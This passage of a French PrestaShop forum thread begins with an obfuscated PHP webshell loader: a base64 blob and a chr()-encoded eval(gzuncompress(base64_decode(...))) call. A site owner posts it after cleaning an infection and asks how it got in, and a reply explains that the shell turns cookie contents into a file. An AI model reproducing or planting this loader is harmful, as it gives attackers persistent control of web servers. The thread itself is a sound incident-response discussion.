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');
define('d23127c18',chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(117).chr(110).chr(99).chr(111).chr(109).chr(112).chr(114).chr(101).chr(115).chr(115).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(99).chr(56).chr(56).chr(101).chr(50).chr(51).chr(51).chr(52).chr(100).chr(54).chr(56).chr(48).chr(100).chr(57).chr(53).chr(52).chr(56).chr(41).chr(41).chr(41).chr(59));
eval(d23127c18);

c'est une attaque de type webshell qui une fois évalué fait 7000 lignes de code qui ressemble un peu a celui la https://github.com/cr1f/P.A.S.-Fork/tree/main 

on peut voir le contenu injecté ici https://onlinephp.io/c/d42d4 en cliquant sur "executer le code"

j'ai fait le clean de ces fichiers et je suis en train de faire la mise a jour de mon prestashop et j'essaie de fair le clean des modules inutilisés

j'espere que cela permettera de bloquer cette faille

je suis tres curieux de savoir comment ils ont réussi a injecter ce webshell si vous avez des pistes et 

 

Link to comment
Share on other sites

Sinon le code essaie ici tout simplement de transformer le contenu d'un cookie en contenu d'un fichier, c'est assez malin car il n'y a après 1er infection plus besoin de faire de POST pour injecter un payload.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now